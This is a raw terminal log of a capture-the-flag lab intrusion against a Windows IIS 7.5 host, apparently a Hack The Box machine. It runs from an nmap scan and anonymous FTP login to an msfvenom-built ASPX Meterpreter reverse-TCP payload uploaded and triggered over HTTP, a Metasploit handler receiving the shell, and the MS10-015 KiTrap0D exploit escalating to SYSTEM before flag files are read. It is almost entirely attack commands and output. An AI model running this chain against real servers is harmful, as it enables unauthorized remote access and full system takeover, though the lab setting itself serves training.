```
┌─[eu-dedivip-2]─[10.10.14.61]─[htb-protosec@htb-nwnpkjlt08]─[~]
└──╼ [★]$ ping 10.129.26.205
PING 10.129.26.205 (10.129.26.205) 56(84) bytes of data.
64 bytes from 10.129.26.205: icmp_seq=1 ttl=127 time=22.9 ms
64 bytes from 10.129.26.205: icmp_seq=2 ttl=127 time=23.1 ms
64 bytes from 10.129.26.205: icmp_seq=3 ttl=127 time=23.5 ms
^C
--- 10.129.26.205 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 22.921/23.182/23.539/0.261 ms
┌─[eu-dedivip-2]─[10.10.14.61]─[htb-protosec@htb-nwnpkjlt08]─[~]
└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.26.205
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-23 17:41 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 17:41
Completed Parallel DNS resolution of 1 host. at 17:41, 0.00s elapsed
Initiating Connect Scan at 17:41
Scanning 10.129.26.205 [1000 ports]
Discovered open port 21/tcp on 10.129.26.205
Discovered open port 80/tcp on 10.129.26.205
Completed Connect Scan at 17:41, 5.33s elapsed (1000 total ports)
Initiating Service scan at 17:41
Scanning 2 services on 10.129.26.205
Completed Service scan at 17:41, 6.17s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.26.205.
Initiating NSE at 17:41
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Completed NSE at 17:41, 0.46s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.10s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Nmap scan report for 10.129.26.205
Host is up (0.023s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Initiating NSE at 17:41
Completed NSE at 17:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds


┌─[eu-dedivip-2]─[10.10.14.61]─[htb-protosec@htb-nwnpkjlt08]─[~]
└──╼ [★]$ ftp 10.129.26.205
Connected to 10.129.26.205.
220 Microsoft FTP Service
```

```
Name (10.129.26.205:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>


└──╼ [★]$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.66 LPORT=1337 -f aspx >
devel.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of aspx file: 2802 bytes


ftp> put ./devel.aspx
local: ./devel.aspx remote: ./devel.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2838 bytes sent in 0.00 secs (20.1980 MB/s)
ftp>


└──╼ [★]$ msfconsole
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.14.66
lhost => 10.10.14.66
msf5 exploit(multi/handler) > set lport 1337
lport => 1337
msf5 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.


http://10.129.69.126/devel.aspx


[*] Started reverse TCP handler on 10.10.14.66:1337
msf5 exploit(multi/handler) > [*] Sending stage (176195 bytes) to 10.129.69.126
[*] Meterpreter session 1 opened (10.10.14.66:1337 -> 10.129.69.126:49160) at 2020-12-24 15:23:12
+0000

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > cd ..
meterpreter > cd ..
meterpreter > cd temp
meterpreter > pwd
c:\windows\temp
meterpreter > getuid
Server username: IIS APPPOOL\Web se

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search ms10_015
msf5 exploit(multi/handler) > use exploit/windows/local/ms10_015_kitrap0d
msf5 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf5 exploit(windows/local/ms10_015_kitrap0d) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.66
lhost => 10.10.14.66
```

```
msf5 exploit(windows/local/ms10_015_kitrap0d) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.66:4444
msf5 exploit(windows/local/ms10_015_kitrap0d) > [*] Launching notepad to host the exploit...
[+] Process 3296 launched.
[*] Reflectively injecting the exploit DLL into 3296...
[*] Injecting exploit into 3296 ...
[*] Exploit injected. Injecting payload into 3296...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (176195 bytes) to 10.129.69.126

msf5 exploit(windows/local/ms10_015_kitrap0d) > [*] Meterpreter session 3 opened (10.10.14.66:4444
-> 10.129.69.126:49160) at 2020-12-24 16:33:25 +0000

msf5 exploit(windows/local/ms10_015_kitrap0d) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
c:\windows
meterpreter > cd ..
meterpreter > pwd
c:\
meterpreter > cd users
meterpreter > pwd
c:\users
meterpreter > ls
Listing: c:\users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   8192  dir   2017-03-17 23:16:43 +0000  Administrator
40777/rwxrwxrwx   0     dir   2009-07-14 04:53:55 +0000  All Users
40777/rwxrwxrwx   8192  dir   2017-03-17 23:06:26 +0000  Classic .NET AppPool
40555/r-xr-xr-x   8192  dir   2009-07-14 02:37:05 +0000  Default
40777/rwxrwxrwx   0     dir   2009-07-14 04:53:55 +0000  Default User
40555/r-xr-xr-x   4096  dir   2009-07-14 02:37:05 +0000  Public
40777/rwxrwxrwx   8192  dir   2017-03-17 14:17:37 +0000  babis
100666/rw-rw-rw-  174   fil   2009-07-14 04:41:57 +0000  desktop.ini


meterpreter > ls
Listing: c:\users\babis\desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-17 14:17:51 +0000  desktop.ini
100444/r--r--r--  32    fil   2017-03-17 23:14:21 +0000  user.txt.txt

meterpreter > cat user.txt.txt
9ecdd6a3aedf********************


meterpreter > ls
Listing: c:\users\administrator\desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-17 23:16:53 +0000  desktop.ini
100444/r--r--r--  32    fil   2017-03-17 23:17:20 +0000  root.txt.txt

meterpreter > cat root.txt.txt
e621a0b50417********************
```